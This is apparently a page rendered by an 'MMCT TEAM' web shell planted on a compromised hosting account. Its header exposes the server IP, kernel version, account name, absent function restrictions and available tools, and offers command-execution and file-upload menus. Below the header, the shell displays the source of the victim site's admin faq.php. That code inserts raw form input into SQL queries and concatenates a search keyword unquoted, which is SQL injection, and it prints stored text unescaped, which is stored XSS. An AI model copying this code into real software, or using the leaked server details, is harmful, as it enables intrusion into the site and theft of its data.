MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/uniformindia.co.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/admin/faq.php
<?php 
    
session_start();
    
    // set time for session timeout
    $currentTime = time() + 25200;
    $expired = 3600;
    
    // if session not set go to login page
    if(!isset($_SESSION['user'])){
        header("location:index.php");
    }
    
    // if current time is more than session timeout back to login page
    if($currentTime > $_SESSION['timeout']){
        session_destroy();
        header("location:index.php");
    }
    
    // destroy previous session timeout and create new one
    unset($_SESSION['timeout']);
    $_SESSION['timeout'] = $currentTime + $expired;
    include"header.php";?>
<html>
<head>
<title>FAQ | <?=$settings['app_name']?> - Dashboard</title>
</head>
</body>
      <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
	  <?php
// 	  include("includes/functions.php");
		if(isset($_POST['btnAdd'])){
			if($permissions['faqs']['create']==1){
			$query = $_POST['query'];
			$answer = $_POST['answer'];
			// $status = $_POST['status'];
			$error = array();
			
				
				// create random image file name
				$function = new functions;
		
				// insert new data to menu table
				$sql_query = "INSERT INTO faq (question, answer)
						VALUES('$query', '$answer')";
						// echo $sql_query;
					// Execute query
					$db->sql($sql_query);

					// store result
					$result=$db->getResult();
					if(!empty($result)){
						$result=0;
					}else{
						$result=1;
					}
					
				
				
				if($result==1){
					$error['add_query'] = "<script>function myFunction() {window.location.reload(true);}</script>";
				}else{
					$error['add_query'] = " <span class='label label-danger'>Failed add query</span>";
				}
				}else{
				echo '<script>alert("You have no permission to create faq")</script>';
			}
			
		
			
		
		}
		// create object of functions class
		$function = new functions;
		
		// create array variable to store data from database
		$data = array();
		
		if(isset($_GET['keyword'])){	
			// check value of keyword variable
			$keyword = $function->sanitize($_GET['keyword']);
			$bind_keyword = "%".$keyword."%";
		}else{
			$keyword = "";
			$bind_keyword = $keyword;
		}
			
		if(empty($keyword)){
			$sql_query = "SELECT id, question, answer
					FROM faq
					ORDER BY id DESC";
		}else{
			$sql_query = "SELECT id, question, answer
					FROM faq where question LIKE ".$bind_keyword." 
					ORDER BY id DESC";
		}
			// Execute query
		$db->sql($sql_query);
			// store result 
		$res=$db->getResult();
			// get total records
			$total_records=$db->numRows($res);
		
			
		// check page parameter
		if(isset($_GET['page'])){
			$page = $_GET['page'];
		}else{
			$page = 1;
		}
						
		// number of data that will be display per page		
		$offset = 10;
						
		//lets calculate the LIMIT for SQL, and save it $from
		if ($page){
			$from 	= ($page * $offset) - $offset;
		}else{
			//if nothing was given in page request, lets load the first page
			$from = 0;	
		}	
		
		if(empty($keyword)){
			$sql_query = "SELECT id, question, answer
					FROM faq
					ORDER BY id DESC LIMIT ".$from.",".$offset."";
		}else{
			$sql_query = "SELECT id, question, answer
					FROM faq
					WHERE question LIKE ".$keyword." 
					ORDER BY id DESC LIMIT ".$from.",".$offset."";
		}
			// Execute query
			$db->sql($sql_query);
			// store result 
			$res=$db->getResult();
			// print_r($res);
			// for paging purpose
			$total_records_paging = $total_records; 
		

		// if no data on database show "No Reservation is Available"
		if($total_records_paging == 0){
	
	?>
	<section class="content-header">
	<h1>No Questions</h1>
	<div class="box-footer">
			    <form  method="post" enctype="multipart/form-data">
                  <div class="input-group">
                    <input class="form-control" name="query" placeholder="Add a Query...">
					<?php echo isset($error['query']) ? $error['query'] : '';?>
					<input class="form-control" name="answer" placeholder="Add a Answer..."/>
					<?php echo isset($error['answer']) ? $error['answer'] : '';?>
                    <div class="input-group-btn">
                      <button onclick="myFunction()" class="btn btn-success" type="submit" name="btnAdd"><i class="fa fa-plus"></i></button>
					  <script>
							function myFunction() {
								location.reload(true);
							}
							</script>
                    </div>
                  </div>
				</form>
	</div>
	</section>
	<hr />
	<?php 
		// otherwise, show data
		}else{
			$row_number = $from + 1;
	?>
		<section class="content">
          <!-- Main row -->
		  <div class="row">
			<div class="col-md-12">
				<div class="box box-primary">
                <div class="box-header with-border">
                  <h3 class="box-title">Frequently Asked Questions</h3>
                  <div class="box-tools pull-right">
                    <button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
                    <button class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
                  </div>
                </div><!-- /.box-header -->
                <div class="box-body">
                  <ul class="products-list product-list-in-box">
				  <?php
					if($permissions['faqs']['read']==1){
					foreach ($res as $row){ ?>

                    <li class="item">
                      <div class="product-img">
                        <a href="faq.php" class="product-title"><?php echo $row['question'];?> </a>
                        <p class="product-description">
                          <?php echo $row['answer'];?>
                        </p>
                      </div>
					  <div class="product-info">
					  <a href="delete-query.php?id=<?php echo $row['id'];?>" class="product-title"><span class="label label-warning pull-right">Delete</span></a>

					  <a href="edit-query.php?id=<?php echo $row['id'];?>" class="product-title"><span class="label label-success pull-right">Edit | Answer</span></a>					  </div>
                    </li><!-- /.item -->
					<?php } }  else {?>
						<div class="alert alert-danger">You have no permission to read faq</div>
					<?php } ?>
                  </ul>
                </div><!-- /.box-body -->
		<?php echo isset($error['add_query']) ? $error['add_query'] : '';?>
               <div class="box-footer">
			    <form  method="post" enctype="multipart/form-data">
                  <div class="input-group">
                    <input class="form-control" name="query" placeholder="Add a Query...">
					<?php echo isset($error['query']) ? $error['query'] : '';?>
					<input class="form-control" name="answer" placeholder="Add a Answer..."/>
					<?php echo isset($error['answer']) ? $error['answer'] : '';?>
                    <div class="input-group-btn">
                     <button onclick="myFunction()" class="btn btn-primary" type="submit" name="btnAdd"><i class="fa fa-plus"></i></button>
					  <script>
							function myFunction() {
								window.location.reload(true);
							}
							</script>
                    </div>
                  </div>
				</form>
			
                </div><!-- /.box-footer -->
              </div>
			</div>
			<?php }?>
			<div class="col-sx-12">
	<h4>
	<?php 
		// for pagination purpose
		$function->doPages($offset, 'faq.php', '', $total_records, $keyword);?>
	</h4>
	</div>
		  </div>
		</section>
      </div><!-- /.content-wrapper -->
  </body>
</html>
<?php include"footer.php";?>

MMCT - 2023